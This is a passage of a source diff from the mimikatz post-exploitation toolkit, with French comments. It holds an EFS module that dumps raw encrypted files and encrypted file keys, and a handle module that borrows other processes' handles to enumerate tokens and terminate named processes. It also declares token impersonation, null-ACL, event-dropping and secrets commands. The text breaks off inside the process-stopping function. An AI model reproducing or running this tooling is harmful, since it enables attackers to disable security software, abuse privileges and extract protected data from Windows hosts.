||||
#include "mod_text.h"
|
||||
#include "mod_crypto.h"
|
||||
#include <iostream>
|
||||
#include <wincred.h>
|
||||
|
||||
class mod_mimikatz_divers
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool cancelator(vector<wstring> * arguments);
|
||||
static bool noroutemon(vector<wstring> * arguments);
|
||||
static bool eventdrop(vector<wstring> * arguments);
|
||||
static bool secrets(vector<wstring> * arguments);
|
||||
static bool nodetour(vector<wstring> * arguments);
|
||||
static bool pitme(vector<wstring> * arguments);
|
||||
};
|
||||
|
||||
|
@ -0,0 +1,299 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_efs.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_efs::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Affiche des informations basiques sur un fichier chiffré"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(full, L"full", L"Affiche des informations très détaillées sur un fichier chiffré"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(toraw, L"toraw", L"Dump les données EFS d'un fichier chiffré vers un fichier brut"));
|
||||
// monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(fromraw, L"fromraw"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::infos(vector<wstring> * arguments)
|
||||
{
|
||||
if(!arguments->empty())
|
||||
{
|
||||
PENCRYPTION_CERTIFICATE_HASH_LIST pHashes = NULL;
|
||||
|
||||
if(QueryUsersOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
|
||||
{
|
||||
wcout << L"Utilisateur(s) déclaré(s) : " << pHashes->nCert_Hash << endl;
|
||||
printInfos(pHashes);
|
||||
FreeEncryptionCertificateHashList(pHashes);
|
||||
}
|
||||
else wcout << L"Erreur QueryUsersOnEncryptedFile : " << mod_system::getWinError() << endl;
|
||||
|
||||
if(QueryRecoveryAgentsOnEncryptedFile(arguments->front().c_str(), &pHashes) == ERROR_SUCCESS)
|
||||
{
|
||||
wcout << L"Agent(s) de recouvrement : " << pHashes->nCert_Hash << endl;
|
||||
printInfos(pHashes);
|
||||
FreeEncryptionCertificateHashList(pHashes);
|
||||
}
|
||||
else wcout << L"Erreur QueryRecoveryAgentsOnEncryptedFile : " << mod_system::getWinError() << endl;
|
||||
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::full(vector<wstring> * arguments)
|
||||
{
|
||||
if(!arguments->empty())
|
||||
{
|
||||
PVOID pvContext = NULL;
|
||||
if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
SIMPLE_BYTE_ARRAY sba = {0, reinterpret_cast<BYTE *>(malloc(0))};
|
||||
if(ReadEncryptedFileRaw(ExportToArrayCallback, &sba, pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
PEFS_FEK Fek = NULL;
|
||||
PEFS_STREAM_DATA_SEGMENT monDataSegment = NULL;
|
||||
for(
|
||||
PEFS_MARSHALED_STREAM monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(sba.tableau + sizeof(EFS_RAW));
|
||||
reinterpret_cast<PBYTE>(monMarshaledStream) < (sba.tableau + sba.nbElements);
|
||||
monMarshaledStream = reinterpret_cast<PEFS_MARSHALED_STREAM>(monDataSegment)
|
||||
)
|
||||
{
|
||||
|
||||
bool isEFSMetaData = (monMarshaledStream->NameLenght == 2) && (monMarshaledStream->StreamName[0] == 0x1910);
|
||||
|
||||
wcout << endl <<
|
||||
L"Marshaled Stream :" << endl <<
|
||||
L" * Taille : " << monMarshaledStream->Length << endl <<
|
||||
L" * Flag : " << monMarshaledStream->Flag << endl <<
|
||||
L" * Nom : " << (isEFSMetaData ? wstring(L"(EFS Metadata stream)") : wstring(monMarshaledStream->StreamName, monMarshaledStream->NameLenght / sizeof(wchar_t))) << endl <<
|
||||
L" * Type : " << (isEFSMetaData ? L"EFS Metadata" : L"DATA") << endl <<
|
||||
endl;
|
||||
|
||||
for(
|
||||
monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monMarshaledStream) + monMarshaledStream->Length);
|
||||
(reinterpret_cast<PBYTE>(monDataSegment) < (sba.tableau + sba.nbElements)) && (monDataSegment->GURE0 == 0x00550047) && (monDataSegment->GURE1 == 0x00450052);
|
||||
monDataSegment = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT>(reinterpret_cast<PBYTE>(monDataSegment) + monDataSegment->Length)
|
||||
)
|
||||
|
||||
{
|
||||
wcout << L"DataSegment : " << endl;
|
||||
PBYTE StreamData = reinterpret_cast<PBYTE>(monDataSegment) + sizeof(EFS_STREAM_DATA_SEGMENT);
|
||||
|
||||
if(isEFSMetaData)
|
||||
{
|
||||
wcout << L" EFS Metadata :" << endl;
|
||||
|
||||
PEFS_METADATA_1 mesAttr = reinterpret_cast<PEFS_METADATA_1>(StreamData);
|
||||
wcout << L" * Version EFS : " << mesAttr->EFS_Version << endl;
|
||||
if(mesAttr->DDF_Offset)
|
||||
{
|
||||
wcout << L" * Utilisateur(s) déclaré(s) :" << endl;
|
||||
fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DDF_Offset, &Fek);
|
||||
}
|
||||
if(mesAttr->DRF_Offset)
|
||||
{
|
||||
wcout << L" * Agent(s) de recouvrement :" << endl;
|
||||
fullInfosFromEFS_KEY_LIST(mesAttr, mesAttr->DRF_Offset, &Fek);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L" DATA :" << endl;
|
||||
if(!monMarshaledStream->Flag)
|
||||
{
|
||||
wcout << L" DATA Segment Encryption Header :" << endl;
|
||||
PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER>(StreamData);
|
||||
wcout <<
|
||||
L" * Length : " << monSegEncHead->Length << endl <<
|
||||
L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl <<
|
||||
L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl <<
|
||||
L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl <<
|
||||
L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl <<
|
||||
L" * ChunkShift : " << monSegEncHead->ChunkShift << endl <<
|
||||
L" * ClusterShift : " << monSegEncHead->ClusterShift << endl <<
|
||||
L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl <<
|
||||
endl;
|
||||
|
||||
PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast<PEFS_EXTENDED_HEADER>(reinterpret_cast<PBYTE>(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks));
|
||||
if(monExtHeader->EXTD_Number == 'DTXE')
|
||||
{
|
||||
wcout << L" * Extended Header Flag : " << monExtHeader->Flags << endl;
|
||||
}
|
||||
|
||||
for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++)
|
||||
{
|
||||
wcout << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl;
|
||||
|
||||
PBYTE mesDatas = reinterpret_cast<PBYTE>(StreamData) + monSegEncHead->Length;
|
||||
wcout << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl;
|
||||
|
||||
if(Fek);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"TODO Data" << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
|
||||
free(sba.tableau);
|
||||
CloseEncryptedFileRaw(pvContext);
|
||||
}
|
||||
else wcout << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::toraw(vector<wstring> * arguments)
|
||||
{
|
||||
if(arguments->size() == 2)
|
||||
{
|
||||
PVOID pvContext = NULL;
|
||||
wcout << L"Ouverture de : " << arguments->front() << endl;
|
||||
if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
wcout << L"Vers : " << arguments->back() << endl;
|
||||
HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS)
|
||||
{
|
||||
wcout << L" * Export OK" << endl;
|
||||
}
|
||||
else wcout << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
CloseHandle(hFile);
|
||||
CloseEncryptedFileRaw(pvContext);
|
||||
}
|
||||
else wcout << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList)
|
||||
{
|
||||
for(DWORD i = 0; i < hashList->nCert_Hash; i++)
|
||||
{
|
||||
wstring user;
|
||||
mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user);
|
||||
|
||||
wcout <<
|
||||
L" * Nom : " << user << endl <<
|
||||
L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl <<
|
||||
L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl <<
|
||||
endl;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength)
|
||||
{
|
||||
if(ulLength)
|
||||
{
|
||||
PSIMPLE_BYTE_ARRAY sba = reinterpret_cast<PSIMPLE_BYTE_ARRAY>(pvCallbackContext);
|
||||
sba->tableau = reinterpret_cast<PBYTE>(realloc(sba->tableau, sba->nbElements + ulLength));
|
||||
if(sba->tableau)
|
||||
{
|
||||
RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength);
|
||||
sba->nbElements += ulLength;
|
||||
}
|
||||
else
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength)
|
||||
{
|
||||
if(ulLength)
|
||||
{
|
||||
wcout << L" - Lecture d\'un bloc de : " << ulLength << endl;
|
||||
DWORD dwBytesWritten = 0;
|
||||
if(WriteFile(*reinterpret_cast<PHANDLE>(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten))
|
||||
return ERROR_SUCCESS;
|
||||
return GetLastError();
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek)
|
||||
{
|
||||
*pFek = NULL;
|
||||
PEFS_KEY_LIST monHead = reinterpret_cast<PEFS_KEY_LIST>(reinterpret_cast<PBYTE>(header) + KeyList_offset);
|
||||
|
||||
PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>(monHead);
|
||||
DWORD previousSize = sizeof(PEFS_KEY_LIST);
|
||||
for(DWORD i = 0; i < monHead->Length; i++)
|
||||
{
|
||||
wcout << endl << L" Champ de données " << (i + 1) << L" :" << endl;
|
||||
monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>((PBYTE) monHeader + previousSize);
|
||||
|
||||
PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast<PEFS_PUBLIC_KEY_INFORMATION>(reinterpret_cast<PBYTE>(monHeader) + monHeader->PKI_Offset);
|
||||
wstring user;
|
||||
if(monCredHeader->OwnerSID_offset)
|
||||
mod_secacl::simpleSidToString((reinterpret_cast<PBYTE>(monCredHeader) + monCredHeader->OwnerSID_offset), &user);
|
||||
else user.assign(L"(null)");
|
||||
|
||||
wcout << L" * Utilisateur : " << user << endl;
|
||||
fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset);
|
||||
|
||||
PBYTE Encrypted_FEK = reinterpret_cast<PBYTE>(monHeader) + monHeader->Enc_FEK_Offset;
|
||||
wcout <<
|
||||
L" * Flags : " << monHeader->Flags << endl <<
|
||||
L" * FEK (chiffrée) : " << endl <<
|
||||
L" -> Taille : " << monHeader->Enc_FEK_Length << endl <<
|
||||
L" -> Données : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl <<
|
||||
endl;
|
||||
|
||||
/*HCRYPTPROV hCryptKeyProv;
|
||||
if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL ))
|
||||
{
|
||||
HCRYPTKEY maCle = NULL;
|
||||
if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle))
|
||||
{
|
||||
DWORD taille = monHeader->Enc_FEK_Length;
|
||||
if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) )
|
||||
{
|
||||
*pFek = reinterpret_cast<PEFS_FEK>(Encrypted_FEK);
|
||||
wcout <<
|
||||
L" * FEK (clair) : " << endl <<
|
||||
L" -> Taille : " << (*pFek)->Key_Lenght << endl <<
|
||||
L" -> Algorithme : " << (*pFek)->Algorithm << endl <<
|
||||
L" -> Entropie : " << (*pFek)->Entropy << endl <<
|
||||
L" -> Données : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl <<
|
||||
endl;
|
||||
}
|
||||
else
|
||||
wcout << mod_system::getWinError() << endl;
|
||||
}
|
||||
CryptReleaseContext(hCryptKeyProv, 0);
|
||||
}*/
|
||||
|
||||
previousSize = monHeader->Length;
|
||||
}
|
||||
|
||||
return (*pFek != NULL);
|
||||
}
|
||||
|
||||
void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset)
|
||||
{
|
||||
PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast<PEFS_CERTIFICATE_DATA>(reinterpret_cast<PBYTE>(header) + header->Certificate_offset);
|
||||
|
||||
wcout << L" -> Nom affiché : ";
|
||||
if(monThCertificate->DisplayName_Offset)
|
||||
wcout << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->DisplayName_Offset);
|
||||
wcout << endl;
|
||||
|
||||
wcout << L" -> Provider : ";
|
||||
if(monThCertificate->ProviderName_Offset)
|
||||
wcout << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ProviderName_Offset);
|
||||
wcout << endl;
|
||||
|
||||
wcout << L" -> Container : ";
|
||||
if(monThCertificate->ContainerName_Offset)
|
||||
wcout << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ContainerName_Offset);
|
||||
wcout << endl;
|
||||
|
||||
wcout << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl;
|
||||
}
|
@ -0,0 +1,133 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include <WinEFS.h>
|
||||
#include <iostream>
|
||||
#include "mod_text.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_secacl.h"
|
||||
#include "mod_crypto.h"
|
||||
|
||||
class mod_mimikatz_efs
|
||||
{
|
||||
private:
|
||||
// http://msdn.microsoft.com/library/cc230447.aspx
|
||||
typedef struct _EFS_RAW {
|
||||
DWORD Unknown0;
|
||||
DWORD ROBS0;
|
||||
DWORD ROBS1;
|
||||
BYTE Reserved[8];
|
||||
} EFS_RAW, *PEFS_RAW;
|
||||
|
||||
typedef struct _EFS_MARSHALED_STREAM {
|
||||
DWORD Length;
|
||||
DWORD NTFS0;
|
||||
DWORD NTFS1;
|
||||
DWORD Flag;
|
||||
BYTE Reserved[8];
|
||||
DWORD NameLenght;
|
||||
wchar_t StreamName[1];
|
||||
} EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM;
|
||||
|
||||
typedef struct _EFS_STREAM_DATA_SEGMENT {
|
||||
DWORD Length;
|
||||
DWORD GURE0;
|
||||
DWORD GURE1;
|
||||
DWORD Reserved;
|
||||
} EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT;
|
||||
|
||||
typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER {
|
||||
LONG64 StartingFile_Offset;
|
||||
DWORD Length;
|
||||
DWORD BytesWithinStreamSize;
|
||||
DWORD BytesWithinVDL;
|
||||
USHORT ReservedForAlignement0;
|
||||
BYTE DataUnitShift;
|
||||
BYTE ChunkShift;
|
||||
BYTE ClusterShift;
|
||||
BYTE ReservedForAlignement1;
|
||||
USHORT NumberOfDataBlocks;
|
||||
DWORD DataBlockSizes[1];
|
||||
} EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER;
|
||||
|
||||
typedef struct _EFS_EXTENDED_HEADER {
|
||||
DWORD EXTD_Number;
|
||||
DWORD Length;
|
||||
DWORD Flags;
|
||||
DWORD Reserved;
|
||||
} EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER;
|
||||
|
||||
typedef struct _EFS_METADATA_1 {
|
||||
DWORD Length;
|
||||
DWORD Reserved1;
|
||||
DWORD EFS_Version;
|
||||
DWORD Reserved2;
|
||||
BYTE EFS_ID[16];
|
||||
BYTE EFS_Hash[16];
|
||||
BYTE Reserved3[16];
|
||||
LONG DDF_Offset;
|
||||
LONG DRF_Offset;
|
||||
BYTE Reserved4[12];
|
||||
} EFS_METADATA_1, *PEFS_METADATA_1;
|
||||
|
||||
typedef struct _EFS_KEY_LIST {
|
||||
DWORD Length;
|
||||
} EFS_KEY_LIST, *PEFS_KEY_LIST;
|
||||
|
||||
typedef struct _EFS_KEY_LIST_ENTRY {
|
||||
DWORD Length;
|
||||
LONG PKI_Offset;
|
||||
DWORD Enc_FEK_Length;
|
||||
LONG Enc_FEK_Offset;
|
||||
DWORD Flags;
|
||||
} EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY;
|
||||
|
||||
typedef struct _EFS_PUBLIC_KEY_INFORMATION {
|
||||
DWORD Length;
|
||||
LONG OwnerSID_offset;
|
||||
DWORD Type;
|
||||
DWORD Certificate_Length;
|
||||
LONG Certificate_offset;
|
||||
} EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION;
|
||||
|
||||
typedef struct _EFS_CERTIFICATE_DATA {
|
||||
LONG CertificateThumbprint;
|
||||
DWORD CertificateThumbprint_Length;
|
||||
LONG ContainerName_Offset;
|
||||
LONG ProviderName_Offset;;
|
||||
LONG DisplayName_Offset;
|
||||
} EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA;
|
||||
|
||||
typedef struct _EFS_FEK {
|
||||
DWORD Key_Lenght;
|
||||
DWORD Entropy;
|
||||
ALG_ID Algorithm;
|
||||
DWORD Reserverd;
|
||||
BYTE Key[1];
|
||||
} EFSFEK, *PEFS_FEK;
|
||||
|
||||
typedef struct _SIMPLE_BYTE_ARRAY{
|
||||
SIZE_T nbElements;
|
||||
PBYTE tableau;
|
||||
} SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY;
|
||||
|
||||
static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
|
||||
static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength);
|
||||
static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList);
|
||||
|
||||
static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek);
|
||||
static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset);
|
||||
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool infos(vector<wstring> * arguments);
|
||||
static bool full(vector<wstring> * arguments);
|
||||
static bool toraw(vector<wstring> * arguments);
|
||||
static bool fromraw(vector<wstring> * arguments);
|
||||
};
|
||||
|
@ -0,0 +1,300 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_handle.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_handle::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du système (pour le moment juste les processus et tokens)"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::list(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
|
||||
bool isProcessList = mod_process::getList(mesProcess);
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
|
||||
DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0);
|
||||
|
||||
if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0);
|
||||
bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0);
|
||||
|
||||
if(isToken || isProcess)
|
||||
{
|
||||
wcout << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" ";
|
||||
|
||||
if(isProcessList)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
|
||||
if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess))
|
||||
wcout << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right;
|
||||
delete processHote;
|
||||
}
|
||||
|
||||
wcout << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t';
|
||||
|
||||
if(isToken)
|
||||
{
|
||||
wstring userName, domainName;
|
||||
if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
|
||||
wcout << L'\t' << domainName << L'\\' << userName ;
|
||||
else wcout << mod_system::getWinError();
|
||||
}
|
||||
else if(isProcess)
|
||||
{
|
||||
DWORD monPid = GetProcessId(nouveauHandle);
|
||||
wcout << monPid;
|
||||
|
||||
if(isProcessList)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
|
||||
if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess))
|
||||
wcout << L'\t' << processKiwi->szExeFile;
|
||||
delete processKiwi;
|
||||
}
|
||||
}
|
||||
wcout << endl;
|
||||
}
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::processStop(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
|
||||
bool isProcessList = mod_process::getList(mesProcess);
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
|
||||
if(mod_system::getSystemHandles(mesHandles))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
if(_wcsicmp(tokenType.c_str(), L"process") == 0)
|
||||
{
|
||||
if(isProcessList)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
|
||||
mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
|
||||
DWORD monPid = GetProcessId(nouveauHandle);
|
||||
if(
|
||||
mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) &&
|
||||
mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)
|
||||
)
|
||||
{
|
||||
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
|
||||
{
|
||||
if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0)
|
||||
{
|
||||
wcout <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
|
||||
setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
|
||||
monPid << L'\t' << processKiwi->szExeFile << endl;
|
||||
;
|
||||
|
||||
|
||||
wcout << L"\tTerminate Process - ";
|
||||
if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0)
|
||||
{
|
||||
wcout << L"OK";
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L"KO ; " << mod_system::getWinError() << endl <<
|
||||
L"\tJob : ";
|
||||
|
||||
if(HANDLE monObject = CreateJobObject(NULL, NULL))
|
||||
{
|
||||
if(AssignProcessToJobObject(monObject, nouveauHandle))
|
||||
{
|
||||
wcout << L"TerminateJobObject - ";
|
||||
if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0)
|
||||
{
|
||||
wcout << L"OK";
|
||||
}
|
||||
else wcout << L"KO ; " << mod_system::getWinError();
|
||||
}
|
||||
else wcout << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError();
|
||||
CloseHandle(monObject);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
wcout << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete processKiwi;
|
||||
delete processHote;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
